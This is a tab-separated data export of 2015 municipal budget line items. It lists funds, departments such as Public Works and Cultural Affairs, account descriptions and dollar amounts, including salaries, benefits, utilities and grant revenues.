16865	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
16866	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566190.0	EMPLOYEE EVENTS TEAM	804.0	 Supplies and Expenses	2015	32086.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32086.0
16867	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	804.0	Salaries and Wages	2015	2440.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2440.0
16868	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
16869	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER OUT TO HOUSING FUND	910.0	 Supplies and Expenses	2015	453493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	453493.0
16870	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		VENICE FAMILY CLINIC-PROP A	808.0	 Supplies and Expenses	2015	3986.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3986.0
16871	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404771.0	BIKE TRANSIT CTR CONCESSION AG	622.0	Other	2015	-63900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-63900.0
16872	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409180.0	COMMERCIAL INSTRUCTION USE CHA	612.0	Charges for Service	2015	-63900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-63900.0
16873	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	60919.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60919.0
16874	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	563123.0	WISE SENIOR & DISAB SVCS (PALR	808.0	 Supplies and Expenses	2015	192711.0	0	0	0	0	0	0.0	0	0	0	0	0.0	192711.0
16875	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409140.0	PASSPORT SERV APPLICATIONS	612.0	Charges for Service	2015	-37000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-37000.0
16876	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409160.0	AGENDA PACKET SUBSCRIPTION	612.0	Charges for Service	2015	-784.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-784.0
16877	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561111.0	CHRYSALIS EMPLYMNT CTR-PROP A	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16878	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561113.0	OPCC ACCESS CTR-PROP A	808.0	 Supplies and Expenses	2015	7400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7400.0
16879	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-YOUTH	808.0	 Supplies and Expenses	2015	51600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51600.0
16880	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408550.0	NO NET NEW TRIPS TOOLKIT	610.0	Intergovernmental	2015	-264573.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-264573.0
16881	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2015	1220.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1220.0
16882	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2015	1043.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1043.0
16883	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2015	30.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30.0
16884	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404040.0	SAMOHI SR2S GRANT	610.0	Intergovernmental	2015	-751000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-751000.0
16885	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2015	23996.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23996.0
16886	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2015	321395.0	0	0	0	0	0	0.0	0	0	0	0	0.0	321395.0
16887	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555011.0	CONT SERV/PLANT REPLACE/MIS SE	810.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
16888	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	3380.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3380.0
16889	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2015	2700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2700.0
16890	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	186926.0	0	0	0	0	0	0.0	0	0	0	0	0.0	186926.0
16891	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561114.0	OPCC DAYBREAK-PROP A	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16892	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561115.0	OPCC SAFE HAVEN-PROP A	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16893	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561116.0	OPCC INTERIM HSG&WELLNS-PROP A	808.0	 Supplies and Expenses	2015	8350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8350.0
16894	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		ST JOSEPH CENTER FSS - PROP A	808.0	 Supplies and Expenses	2015	7081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7081.0
16895	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	8500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8500.0
16896	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	95000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	95000.0
16897	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	13000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13000.0
16898	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16899	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	804.0	Salaries and Wages	2015	294.0	0	0	0	0	0	0.0	0	0	0	0	0.0	294.0
16900	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409150.0	PASSPORT SERV PHOTOS	612.0	Charges for Service	2015	-9000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9000.0
16901	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561118.0	STEP UP ON 2ND SNCTURY-PROP A	808.0	 Supplies and Expenses	2015	2600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2600.0
16902	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-ARTS	808.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
16903	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2015	66310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	66310.0
16904	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	17023.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17023.0
16905	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	35000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35000.0
16906	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2015	117029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	117029.0
16907	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
16908	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2015	130000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130000.0
16909	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	555305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	555305.0
16910	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2015	14509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14509.0
16911	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		UNEMPLOYMENT	804.0	Salaries and Wages	2015	3641.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3641.0
16912	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	810.0	 Supplies and Expenses	2015	12200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12200.0
16913	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	3147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3147.0
16914	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-4410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4410.0
16915	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2015	414.0	0	0	0	0	0	0.0	0	0	0	0	0.0	414.0
16916	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	2889410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2889410.0
16917	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2015	25221.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25221.0
16918	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	565818.0	0	0	0	0	0	0.0	0	0	0	0	0.0	565818.0
16919	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2015	5328.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5328.0
16920	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2015	4171.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4171.0
16921	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	2872.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2872.0
16922	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16923	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-8863.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8863.0
16924	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	2883.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2883.0
16925	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2015	80208.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80208.0
16926	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	350.0
16927	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
16928	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2015	3529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3529.0
16929	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545020.0	CULTURAL PROGRAMMING	810.0	 Supplies and Expenses	2015	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
16930	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555200.0	REIMBURSE ENGINEERING OFFICE	810.0	 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
16931	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
16932	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2015	1876.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1876.0
16933	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2015	5237.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5237.0
16934	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	110521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110521.0
16935	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	5807.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5807.0
16936	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533211.0	FAC MAINT SVCS-WORK ORDERS	810.0	 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
16937	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	804.0	Salaries and Wages	2015	210.0	0	0	0	0	0	0.0	0	0	0	0	0.0	210.0
16938	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	36973.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36973.0
16939	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	61309.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61309.0
16940	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
16941	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	1208576.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1208576.0
16942	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2015	31970.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31970.0
16943	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	41710.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41710.0
16944	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	28840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28840.0
16945	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	2200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2200.0
16946	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	25771.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25771.0
16947	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2015	34640.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34640.0
16948	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
16949	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2015	164502.0	0	0	0	0	0	0.0	0	0	0	0	0.0	164502.0
16950	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2015	1029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1029.0
16951	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	7572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7572.0
16952	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	11910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11910.0
16953	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	9772.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9772.0
16954	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	31890.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31890.0
16955	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
16956	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2015	18487.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18487.0
16957	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2015	6314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6314.0
16958	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	6568.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6568.0
16959	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	26000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26000.0
16960	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	192962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	192962.0
16961	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2015	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
16962	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2015	13713.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13713.0
16963	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-SENIOR	808.0	 Supplies and Expenses	2015	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
16964	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409170.0	ACTIVITY PASSPORT	612.0	Charges for Service	2015	-200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200.0
16965	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408560.0	BIKESHARE METRO CFP GRANT	610.0	Intergovernmental	2015	-610880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-610880.0
16966	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	31153.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31153.0
16967	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	883.0	0	0	0	0	0	0.0	0	0	0	0	0.0	883.0
16968	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2015	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
16969	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16970	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	452326.0	0	0	0	0	0	0.0	0	0	0	0	0.0	452326.0
16971	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2015	125132.0	0	0	0	0	0	0.0	0	0	0	0	0.0	125132.0
16972	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2015	2053.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2053.0
16973	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2015	115268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	115268.0
16974	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	24475.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24475.0
16975	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	237297.0	0	0	0	0	0	0.0	0	0	0	0	0.0	237297.0
16976	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2015	1199.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1199.0
16977	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EAP	808.0	Salaries and Wages	2015	2462.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2462.0
16978	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522311.0	DISCOUNTS AVAILABLE	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16979	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
16980	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2015	733.0	0	0	0	0	0	0.0	0	0	0	0	0.0	733.0
16981	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522620.0	RENT	804.0	 Supplies and Expenses	2015	243110.0	0	0	0	0	0	0.0	0	0	0	0	0.0	243110.0
16982	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	770.0
16983	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-2169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2169.0
